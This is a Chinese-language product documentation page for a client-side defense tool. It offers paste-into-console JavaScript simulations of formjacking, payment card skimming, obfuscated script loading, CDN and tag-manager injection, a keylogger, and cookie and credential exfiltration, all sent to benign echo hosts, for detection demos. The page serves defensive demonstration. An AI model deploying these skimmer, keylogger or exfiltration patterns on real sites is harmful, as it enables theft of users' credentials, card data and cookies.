跳转到内容
客户端防御

攻击脚本库

本页提供按类别组织的攻击模拟脚本库。每个脚本均为自执行函数（IIFE），设计用于在演示应用程序的浏览器开发者工具控制台中粘贴运行。在客户演示过程中，使用这些脚本来演练特定的 CSD 检测能力。

安全规则

Section titled “安全规则”

本库中的所有脚本遵循以下规范：

  • IIFE 格式 — 自执行，在开发者工具控制台中粘贴即可运行
  • 安全外泄目标 — www.httpbin.org、jsonplaceholder.typicode.com
  • 安全脚本来源 — cdn.jsdelivr.net、esm.sh、unpkg.com、ga.jspm.io（加载无害库）
  • 所有 fetch 调用均使用 mode: 'no-cors'
  • 使用 var 声明以兼容控制台
  • 控制台输出以 [CSD Demo] 及类别标签为前缀
  • 不含任何实际恶意载荷

1. 表单劫持与凭据窃取

Section titled “1. 表单劫持与凭据窃取”

登录页面凭据窃取器

Section titled “登录页面凭据窃取器”

目标页面： /#/login — 运行前请输入虚拟凭据

CSD 信号： 表单字段读取（电子邮件、密码）、网络（fetch 至外部域名）

Login Credential Skimmer
// CSD Demo — Login Credential Skimmer
(function() {
    console.log('[CSD Demo][Formjack] Starting login credential skimmer...');


    // Read existing form fields (CSD detects field reads on page-load DOM fields)
    var inputs = document.querySelectorAll('input');
    var creds = {};
    inputs.forEach(function(input) {
        var name = input.name || input.id || input.type;
        creds[name] = input.value || '(empty)';
    });
    console.log('[CSD Demo][Formjack] Harvested credentials:', creds);


    // Exfiltrate via fetch
    var payload = JSON.stringify({ type: 'login_harvest', data: creds, timestamp: Date.now() });
    fetch('https://www.httpbin.org/post', {
        method: 'POST',
        mode: 'no-cors',
        body: payload
    }).then(function() {
        console.log('[CSD Demo][Formjack] Credentials exfiltrated to www.httpbin.org');
    });


    console.log('[CSD Demo][Formjack] Simulation complete.');
})();

在 CSD 控制台中验证：

  • 脚本列表 — 应用程序脚本（如 main.js）因读取电子邮件和密码字段而被标记为高风险
  • 表单字段 — 电子邮件和密码显示为系统标记的敏感字段

注册页面采集器

Section titled “注册页面采集器”

目标页面： /#/register — 运行前请填写所有字段

CSD 信号： 表单字段读取（电子邮件、密码、安全问题）

Registration Page Harvester
// CSD Demo — Registration Page Harvester
(function() {
    console.log('[CSD Demo][Formjack] Starting registration harvester...');


    var inputs = document.querySelectorAll('input, select');
    var data = {};
    inputs.forEach(function(el) {
        var name = el.name || el.id || el.type || el.tagName;
        data[name] = el.value || '(empty)';
    });
    console.log('[CSD Demo][Formjack] Registration data harvested:', data);


    var payload = JSON.stringify({ type: 'registration_harvest', data: data, timestamp: Date.now() });
    fetch('https://jsonplaceholder.typicode.com/posts', {
        method: 'POST',
        mode: 'no-cors',
        headers: { 'Content-Type': 'application/json' },
        body: payload
    }).then(function() {
        console.log('[CSD Demo][Formjack] Registration data exfiltrated to jsonplaceholder.typicode.com');
    });


    console.log('[CSD Demo][Formjack] Simulation complete.');
})();

在 CSD 控制台中验证：

  • 表单字段 — 注册字段显示并附有敏感性分类
  • 脚本列表 — 读取注册字段的脚本被标记为需审查

2. 数字窃取

Section titled “2. 数字窃取”

支付页面卡片窃取器

Section titled “支付页面卡片窃取器”

目标页面： /#/login（Juice Shop 结账需要身份验证 — 使用登录页面演示覆盖层技术）

CSD 信号： 脚本注入（覆盖表单）、表单字段读取（原始字段）

Payment Card Skimmer (Overlay)
// CSD Demo — Payment Card Skimmer (Overlay Technique)
(function() {
    console.log('[CSD Demo][Skim] Starting payment card skimmer simulation...');


    // Step 1: Read existing form fields first
    var inputs = document.querySelectorAll('input');
    var existing = {};
    inputs.forEach(function(input) {
        var name = input.name || input.id || input.type;
        existing[name] = input.value || '(empty)';
    });
    console.log('[CSD Demo][Skim] Existing fields harvested:', existing);


    // Step 2: Inject a fake overlay form (CSD detects the script injection)
    var overlay = document.createElement('div');
    overlay.id = 'csd-demo-overlay';
    overlay.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.7);z-index:99999;display:flex;align-items:center;justify-content:center;';
    overlay.innerHTML = '<div style="background:white;padding:30px;border-radius:8px;max-width:400px;width:100%;">' +
        '<h3 style="margin:0 0 15px;color:#333;">Payment Verification Required</h3>' +
        '<p style="color:#666;font-size:14px;">Session expired. Re-enter payment details.</p>' +
        '<div style="margin:10px 0;padding:8px;border:1px solid #ccc;border-radius:4px;color:#999;">4111-XXXX-XXXX-1111</div>' +
        '<div style="margin:10px 0;padding:8px;border:1px solid #ccc;border-radius:4px;color:#999;">CVV: ***</div>' +
        '<div style="text-align:right;margin-top:15px;">' +
        '<button onclick="document.getElementById(\'csd-demo-overlay\').remove();console.log(\'[CSD Demo][Skim] Overlay dismissed\');" style="padding:8px 20px;background:#4CAF50;color:white;border:none;border-radius:4px;cursor:pointer;">Verify</button></div></div>';
    document.body.appendChild(overlay);
    console.log('[CSD Demo][Skim] Fake payment overlay injected into DOM');


    // Step 3: Exfiltrate captured data
    var payload = JSON.stringify({ type: 'card_skim', captured: existing, timestamp: Date.now() });
    fetch('https://www.httpbin.org/post', {
        method: 'POST',
        mode: 'no-cors',
        body: payload
    }).then(function() {
        console.log('[CSD Demo][Skim] Skimmed data exfiltrated to www.httpbin.org');
    });


    console.log('[CSD Demo][Skim] Simulation complete. Click "Verify" on the overlay to dismiss it.');
})();
Payment overlay injected by card skimmer scriptPayment overlay injected by card skimmer script

在 CSD 控制台中验证：

  • 脚本列表 — 脚本因 DOM 操作和字段读取而被标记
  • 表单字段 — 原始页面字段显示读取活动

多阶段混淆加载器

Section titled “多阶段混淆加载器”

目标页面： 演示站点上的任意页面

CSD 信号： 脚本注入（解码后的载荷创建新的脚本标签）

Multi-Stage Obfuscated Loader
// CSD Demo — Multi-Stage Obfuscated Loader
(function() {
    console.log('[CSD Demo][Skim] Starting obfuscated loader simulation...');


    // Stage 1: Base64-encoded script URL (simulates obfuscation)
    var encoded = btoa('https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js');
    console.log('[CSD Demo][Skim] Stage 1: Encoded payload:', encoded);


    // Stage 2: Decode and inject
    var decoded = atob(encoded);
    console.log('[CSD Demo][Skim] Stage 2: Decoded URL:', decoded);


    var script = document.createElement('script');
    script.src = decoded;
    script.onload = function() {
        console.log('[CSD Demo][Skim] Stage 3: Decoded script loaded successfully from', decoded);
    };
    script.onerror = function() {
        console.log('[CSD Demo][Skim] Stage 3: Script load attempted (may be blocked by CSP)');
    };
    document.head.appendChild(script);


    console.log('[CSD Demo][Skim] Simulation complete. CSD detects the injected script tag regardless of encoding.');
})();

在 CSD 控制台中验证：

  • 脚本列表 — cdn.jsdelivr.net 脚本作为新条目出现
  • 网络 — cdn.jsdelivr.net 域名出现在列表中

3. 供应链攻击与脚本注入

Section titled “3. 供应链攻击与脚本注入”

多 CDN 注入

Section titled “多 CDN 注入”

目标页面： 演示站点上的任意页面

CSD 信号： 脚本注入（4 个新的第三方脚本标签）、网络（4 个新域名）

Multi-CDN Script Injection
// CSD Demo — Multi-CDN Script Injection
(function() {
    console.log('[CSD Demo][Supply Chain] Starting multi-CDN injection...');


    var cdns = [
        { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
        { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
        { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
        { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
    ];


    cdns.forEach(function(cdn) {
        var script = document.createElement('script');
        script.src = cdn.url;
        script.type = 'module';
        script.onload = function() {
            console.log('[CSD Demo][Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);
        };
        script.onerror = function() {
            console.log('[CSD Demo][Supply Chain] Load attempted from ' + cdn.name + ' (may be blocked)');
        };
        document.head.appendChild(script);
        console.log('[CSD Demo][Supply Chain] Injected script tag: ' + cdn.name);
    });


    console.log('[CSD Demo][Supply Chain] 4 third-party scripts injected. CSD will detect all 4 new domains.');
})();

在 CSD 控制台中验证：

  • 脚本列表 — 来自 cdn.jsdelivr.net、esm.sh、unpkg.com、ga.jspm.io 的 4 个新脚本条目
  • 网络 — 所有 4 个 CDN 域名出现在全部域名列表中

标签管理器劫持模拟

Section titled “标签管理器劫持模拟”

目标页面： 演示站点上的任意页面

CSD 信号： 脚本注入（伪造的分析/标签管理器脚本）

Tag Manager Hijack
// CSD Demo — Tag Manager Hijack
(function() {
    console.log('[CSD Demo][Supply Chain] Starting tag manager hijack simulation...');


    // Simulate a compromised tag manager loading a malicious analytics script
    var fakeTag = document.createElement('script');
    fakeTag.src = 'https://cdn.jsdelivr.net/npm/chart.js@4.4.7/dist/chart.umd.min.js';
    fakeTag.setAttribute('data-tag-manager', 'hijacked');
    fakeTag.onload = function() {
        console.log('[CSD Demo][Supply Chain] Fake analytics script loaded via tag manager hijack');


        // After loading, read form fields (simulating data collection by compromised tag)
        var inputs = document.querySelectorAll('input');
        var collected = {};
        inputs.forEach(function(input) {
            var name = input.name || input.id || input.type;
            collected[name] = input.value || '(empty)';
        });
        console.log('[CSD Demo][Supply Chain] Compromised tag collected form data:', collected);
    };
    fakeTag.onerror = function() {
        console.log('[CSD Demo][Supply Chain] Script load attempted (may be blocked)');
    };
    document.head.appendChild(fakeTag);


    console.log('[CSD Demo][Supply Chain] Tag manager hijack simulation complete.');
})();

在 CSD 控制台中验证：

  • 脚本列表 — 来自 cdn.jsdelivr.net 且包含 chart.js 路径的新脚本
  • 表单字段 — 若在含表单的页面运行，字段读取活动增加

4. 数据外泄渠道

Section titled “4. 数据外泄渠道”

多渠道数据外泄

Section titled “多渠道数据外泄”

目标页面： /#/login — 运行前请输入虚拟凭据

CSD 信号： 表单字段读取、网络（fetch 源域名）

Multi-Channel Exfiltration
// CSD Demo — Multi-Channel Exfiltration
(function() {
    console.log('[CSD Demo][Exfil] Starting multi-channel exfiltration...');


    // Harvest form fields
    var inputs = document.querySelectorAll('input');
    var data = {};
    inputs.forEach(function(input) {
        var name = input.name || input.id || input.type;
        data[name] = input.value || '(empty)';
    });
    console.log('[CSD Demo][Exfil] Data harvested:', data);
    var payload = JSON.stringify({ type: 'multi_channel', data: data, timestamp: Date.now() });


    // Channel 1: Fetch POST
    fetch('https://www.httpbin.org/post', {
        method: 'POST',
        mode: 'no-cors',
        body: payload
    }).then(function() {
        console.log('[CSD Demo][Exfil] Channel 1 (fetch POST) sent to www.httpbin.org');
    });


    // Channel 2: Image beacon
    var img = new Image();
    img.src = 'https://www.httpbin.org/get?data=' + encodeURIComponent(payload).substring(0, 200);
    img.onload = function() { console.log('[CSD Demo][Exfil] Channel 2 (image beacon) sent to www.httpbin.org'); };
    img.onerror = function() { console.log('[CSD Demo][Exfil] Channel 2 (image beacon) attempted'); };
    console.log('[CSD Demo][Exfil] Channel 2 (image beacon) initiated');


    // Channel 3: Link prefetch
    var link = document.createElement('link');
    link.rel = 'prefetch';
    link.href = 'https://jsonplaceholder.typicode.com/posts?exfil=' + encodeURIComponent(payload).substring(0, 200);
    document.head.appendChild(link);
    console.log('[CSD Demo][Exfil] Channel 3 (link prefetch) injected');


    console.log('[CSD Demo][Exfil] 3 exfil channels attempted. Note: CSD Network view tracks script source domains, not fetch/beacon destinations.');
})();

在 CSD 控制台中验证：

  • 表单字段 — 电子邮件和密码字段显示读取活动
  • 脚本列表 — 应用程序脚本因字段读取而被标记

高频域名数据外泄

Section titled “高频域名数据外泄”

目标页面： /#/login — 运行前请输入虚拟凭据

CSD 信号： 表单字段读取、脚本注入（来自多个域名的脚本标签）

High-Volume Domain Exfiltration
// CSD Demo — High-Volume Domain Exfiltration
(function() {
    console.log('[CSD Demo][Exfil] Starting high-volume exfiltration simulation...');


    // Harvest form data
    var inputs = document.querySelectorAll('input');
    var data = {};
    inputs.forEach(function(input) {
        var name = input.name || input.id || input.type;
        data[name] = input.value || '(empty)';
    });
    console.log('[CSD Demo][Exfil] Data harvested:', data);


    // Inject scripts from multiple CDN domains (these WILL appear in CSD Network view)
    var sources = [
        'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js',
        'https://esm.sh/moment@2.30.1',
        'https://unpkg.com/underscore@1.13.7/underscore-min.js',
        'https://cdn.jsdelivr.net/npm/chart.js@4.4.7/dist/chart.umd.min.js',
        'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js'
    ];


    sources.forEach(function(src, i) {
        var script = document.createElement('script');
        script.src = src;
        script.type = 'module';
        script.onload = function() {
            console.log('[CSD Demo][Exfil] Script ' + (i + 1) + '/' + sources.length + ' loaded: ' + src);
        };
        script.onerror = function() {
            console.log('[CSD Demo][Exfil] Script ' + (i + 1) + ' load attempted');
        };
        document.head.appendChild(script);
    });


    // Also send via fetch to safe endpoints
    var payload = JSON.stringify({ type: 'high_volume', data: data, timestamp: Date.now() });
    fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload });
    fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', body: payload });


    console.log('[CSD Demo][Exfil] ' + sources.length + ' script injections + 2 fetch channels. Script domains will appear in CSD Network view.');
})();

在 CSD 控制台中验证：

  • 脚本列表 — 5 个新的第三方脚本条目
  • 网络 — cdn.jsdelivr.net、esm.sh、unpkg.com、ga.jspm.io 域名出现在列表中
  • 表单字段 — 登录字段显示读取活动

5. DOM 操作与覆盖层

Section titled “5. DOM 操作与覆盖层”

表单覆盖层攻击

Section titled “表单覆盖层攻击”

目标页面： /#/login

CSD 信号： 表单字段读取（在覆盖之前读取原始字段）

Form Overlay Attack
// CSD Demo — Form Overlay Attack
(function() {
    console.log('[CSD Demo][DOM] Starting form overlay attack...');


    // Read the real form fields first
    var inputs = document.querySelectorAll('input');
    var realData = {};
    inputs.forEach(function(input) {
        var name = input.name || input.id || input.type;
        realData[name] = input.value || '(empty)';
    });
    console.log('[CSD Demo][DOM] Real form data captured:', realData);


    // Find the form container and overlay it
    var form = document.querySelector('form') || document.querySelector('[class*="login"]') || document.querySelector('mat-card');
    if (form) {
        var rect = form.getBoundingClientRect();
        var overlay = document.createElement('div');
        overlay.id = 'csd-demo-form-overlay';
        overlay.style.cssText = 'position:fixed;top:' + rect.top + 'px;left:' + rect.left + 'px;width:' + rect.width + 'px;height:' + rect.height + 'px;background:white;z-index:99999;display:flex;flex-direction:column;justify-content:center;padding:20px;box-sizing:border-box;border:2px solid #e0e0e0;border-radius:8px;';
        overlay.innerHTML = '<h4 style="margin:0 0 10px;color:#333;">Sign In</h4>' +
            '<input type="email" placeholder="Email" style="margin:5px 0;padding:8px;border:1px solid #ccc;border-radius:4px;" />' +
            '<input type="password" placeholder="Password" style="margin:5px 0;padding:8px;border:1px solid #ccc;border-radius:4px;" />' +
            '<button onclick="document.getElementById(\'csd-demo-form-overlay\').remove();console.log(\'[CSD Demo][DOM] Overlay dismissed\');" style="margin-top:10px;padding:8px;background:#1976d2;color:white;border:none;border-radius:4px;cursor:pointer;">Log in</button>';
        document.body.appendChild(overlay);
        console.log('[CSD Demo][DOM] Transparent overlay form placed over real login form');
    } else {
        console.log('[CSD Demo][DOM] No form container found — overlay skipped');
    }


    console.log('[CSD Demo][DOM] Simulation complete. The overlay captures input instead of the real form.');
})();
Fake login form overlaying the real formFake login form overlaying the real form

在 CSD 控制台中验证：

  • 表单字段 — 原始电子邮件和密码字段显示读取活动
  • 脚本列表 — 脚本因访问表单字段值而被标记

键盘记录器模拟

Section titled “键盘记录器模拟”

目标页面： /#/login

CSD 信号： 表单字段读取（访问输入元素以附加监听器）

Keylogger Simulation
// CSD Demo — Keylogger Simulation
(function() {
    console.log('[CSD Demo][DOM] Starting keylogger simulation...');


    var keyBuffer = [];
    var flushInterval = 5000;


    // Attach keydown listener to capture keystrokes
    document.addEventListener('keydown', function(e) {
        keyBuffer.push({
            key: e.key,
            target: (e.target.name || e.target.id || e.target.tagName),
            timestamp: Date.now()
        });
        if (keyBuffer.length >= 10) {
            console.log('[CSD Demo][DOM] Keylogger buffer (last 10 keys):', JSON.parse(JSON.stringify(keyBuffer.slice(-10))));
        }
    });
    console.log('[CSD Demo][DOM] Keydown listener attached to document');


    // Also read current form field values
    var inputs = document.querySelectorAll('input');
    inputs.forEach(function(input) {
        var name = input.name || input.id || input.type;
        console.log('[CSD Demo][DOM] Monitoring field: ' + name + ' (current value: ' + (input.value || '(empty)') + ')');
    });


    // Periodic flush simulation
    var flushCount = 0;
    var interval = setInterval(function() {
        flushCount++;
        if (keyBuffer.length > 0) {
            console.log('[CSD Demo][DOM] Keylogger flush #' + flushCount + ':', keyBuffer.length, 'keystrokes captured');
            fetch('https://www.httpbin.org/post', {
                method: 'POST',
                mode: 'no-cors',
                body: JSON.stringify({ type: 'keylog', keys: keyBuffer, timestamp: Date.now() })
            });
            keyBuffer = [];
        }
        if (flushCount >= 6) {
            clearInterval(interval);
            console.log('[CSD Demo][DOM] Keylogger simulation ended (30s max duration)');
        }
    }, flushInterval);


    console.log('[CSD Demo][DOM] Keylogger active for 30 seconds. Type in form fields to see captured output.');
})();

在 CSD 控制台中验证：

  • 表单字段 — 输入字段显示来自监控脚本的读取活动
  • 脚本列表 — 脚本因访问表单字段值而被标记

6. 综合压力测试

Section titled “6. 综合压力测试”

最大检测脚本

Section titled “最大检测脚本”

该脚本将所有攻击向量合并为一个 IIFE — 即”终极演示”脚本。当您希望通过一次执行触发所有 CSD 检测信号时，请运行此脚本。

目标页面： /#/login — 运行前请输入虚拟凭据

CSD 信号： 表单字段读取、脚本注入（4 个 CDN 域名）、网络（4 个新域名）

Maximum Detection — Combined Stress Test
// CSD Demo — Maximum Detection (Combined Stress Test)
(function() {
    console.log('='.repeat(60));
    console.log('[CSD Demo] MAXIMUM DETECTION — Combined Stress Test');
    console.log('='.repeat(60));


    // Phase 1: Form Field Harvesting
    console.log('\n--- Phase 1: Form Field Harvesting ---');
    var inputs = document.querySelectorAll('input');
    var harvested = {};
    inputs.forEach(function(input) {
        var name = input.name || input.id || input.type;
        harvested[name] = input.value || '(empty)';
    });
    console.log('[CSD Demo][Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);


    // Phase 2: Multi-CDN Script Injection
    console.log('\n--- Phase 2: Supply Chain — Multi-CDN Injection ---');
    var cdns = [
        { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr (lodash)' },
        { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh (moment)' },
        { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg (underscore)' },
        { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm (dayjs)' }
    ];
    cdns.forEach(function(cdn) {
        var script = document.createElement('script');
        script.src = cdn.url;
        script.type = 'module';
        script.onload = function() {
            console.log('[CSD Demo][Supply Chain] Loaded: ' + cdn.name);
        };
        script.onerror = function() {
            console.log('[CSD Demo][Supply Chain] Load attempted: ' + cdn.name);
        };
        document.head.appendChild(script);
        console.log('[CSD Demo][Supply Chain] Injected: ' + cdn.name);
    });


    // Phase 3: Data Exfiltration (multiple channels)
    console.log('\n--- Phase 3: Data Exfiltration ---');
    var payload = JSON.stringify({
        type: 'max_detection',
        credentials: harvested,
        page: window.location.href,
        cookies: document.cookie,
        timestamp: Date.now()
    });


    // Fetch POST
    fetch('https://www.httpbin.org/post', {
        method: 'POST',
        mode: 'no-cors',
        body: payload
    }).then(function() {
        console.log('[CSD Demo][Exfil] Fetch POST sent to www.httpbin.org');
    });


    // Fetch POST (second endpoint)
    fetch('https://jsonplaceholder.typicode.com/posts', {
        method: 'POST',
        mode: 'no-cors',
        headers: { 'Content-Type': 'application/json' },
        body: payload
    }).then(function() {
        console.log('[CSD Demo][Exfil] Fetch POST sent to jsonplaceholder.typicode.com');
    });


    // Image beacon
    var img = new Image();
    img.src = 'https://www.httpbin.org/get?beacon=' + encodeURIComponent(payload).substring(0, 200);
    console.log('[CSD Demo][Exfil] Image beacon sent to www.httpbin.org');


    // Phase 4: DOM Manipulation
    console.log('\n--- Phase 4: DOM Manipulation ---');
    var banner = document.createElement('div');
    banner.id = 'csd-demo-banner';
    banner.style.cssText = 'position:fixed;top:0;left:0;width:100%;padding:12px;background:#d32f2f;color:white;text-align:center;z-index:99999;font-family:sans-serif;font-size:14px;';
    banner.innerHTML = 'CSD Demo: Attack simulation active — ' + cdns.length + ' scripts injected, ' + Object.keys(harvested).length + ' fields harvested ' +
        '<button onclick="document.getElementById(\'csd-demo-banner\').remove();" style="margin-left:15px;padding:4px 12px;background:white;color:#d32f2f;border:none;border-radius:3px;cursor:pointer;">Dismiss</button>';
    document.body.appendChild(banner);
    console.log('[CSD Demo][DOM] Attack status banner injected');


    // Summary
    console.log('\n' + '='.repeat(60));
    console.log('[CSD Demo] SIMULATION COMPLETE');
    console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
    console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (from ' + cdns.length + ' CDN domains)');
    console.log('[CSD Demo] Exfil channels: 3 (2x fetch + 1x image beacon)');
    console.log('[CSD Demo] Detection takes 5-10 minutes to appear in CSD console.');
    console.log('='.repeat(60));
})();
Console output from maximum detection scriptConsole output from maximum detection script

在 CSD 控制台中验证（5-10 分钟后）：

  • 仪表板 — 已消耗事务计数器增加
  • 脚本列表 — 应用程序脚本被标记为高风险；来自 CDN 域名的 4 个新第三方脚本
  • 表单字段 — 电子邮件和密码被系统分类为敏感字段并显示读取活动
  • 网络 — cdn.jsdelivr.net、esm.sh、unpkg.com、ga.jspm.io 出现在全部域名列表中
  • 受影响用户 — 您的会话显示 IP、地理位置、浏览器及设备信息